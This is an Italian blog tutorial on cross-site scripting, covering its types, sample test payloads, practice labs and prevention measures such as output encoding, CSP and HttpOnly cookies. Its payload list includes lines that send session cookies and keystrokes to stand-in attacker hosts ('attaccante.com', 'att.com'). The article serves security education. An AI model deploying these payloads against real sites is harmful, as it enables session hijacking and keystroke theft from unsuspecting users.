Cybersecurity

XSS (Cross-Site Scripting): tipi, sfruttamento e prevenzione

· · 👁 187 · ❤️ 0 · 💬 0
⚠️ Disclaimer legale: Questo articolo è esclusivamente a scopo educativo. Tutte le tecniche descritte vanno praticate SOLO su sistemi propri o su piattaforme autorizzate (TryHackMe, HackTheBox, VulnHub). Attaccare sistemi altrui senza autorizzazione è reato penale ai sensi degli artt. 615-ter e seguenti del Codice Penale italiano.

Cos'è XSS

Cross-Site Scripting è una vulnerabilità web che permette di iniettare script JavaScript malevoli che vengono eseguiti nel browser delle vittime. Può portare a furto di cookie di sessione, defacement, keylogging, redirect a phishing.

Tipi di XSS

Reflected XSS

Lo script è nell'URL. La vittima clicca un link malevolo e lo script viene riflesso nella risposta ed eseguito.

https://sito.com/search?q=<script>document.location='http://attaccante.com/steal?c='+document.cookie</script>

Stored XSS (Persistent)

Lo script è salvato nel database (commento, profilo, post). Ogni utente che visualizza il contenuto esegue lo script. Più pericoloso del reflected.

DOM-based XSS

La vulnerabilità è nel codice JavaScript client-side che usa direttamente l'input dell'utente per modificare il DOM.

Payload comuni per test

# Basic test
<script>alert(1)</script>

# Bypass filtri semplici
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
';</script><script>alert(1)</script>

# Furto cookie
<script>fetch('https://attaccante.com/?c='+btoa(document.cookie))</script>

# Keylogger base
<script>document.onkeypress=function(e){fetch('https://att.com/log?k='+e.key)}</script>

Test con PortSwigger Academy

PortSwigger Web Security Academy ha laboratori gratuiti su ogni tipo di XSS con hint progressivi. È il modo migliore per praticare legalmente.

Prevenzione

  • Output encoding: converti < > " ' in entità HTML prima di renderizzare
  • CSP (Content Security Policy): header HTTP che limita le origini degli script
  • HttpOnly cookie: i cookie non sono accessibili da JavaScript
  • SameSite cookie: previene CSRF e limita utilizzo cross-site
  • Evita innerHTML: usa textContent o innerText per dati utente
← Torna al Blog

📚 Articoli correlati

📝
Sicurezza negli Internet Cafe: cosa non devi mai fare
Elfrid · 27/04/2026
📝
Virus e sicurezza informatica: la guida completa per proteggersi davvero
Elfrid · 27/04/2026
📝
Corso Hacking Etico #1: Introduzione e mentalita dell ethical hacker
Davide Russo · 26/04/2026

💬 Commenti (0)

Nessun commento ancora. Sii il primo!

Accedi per lasciare un commento.